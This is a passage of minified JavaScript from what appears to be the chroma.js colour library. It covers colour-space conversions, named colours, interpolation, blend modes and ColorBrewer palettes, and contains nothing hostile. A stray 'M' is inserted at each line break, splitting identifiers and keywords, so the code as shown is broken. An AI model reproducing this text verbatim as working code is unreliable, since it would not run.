^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
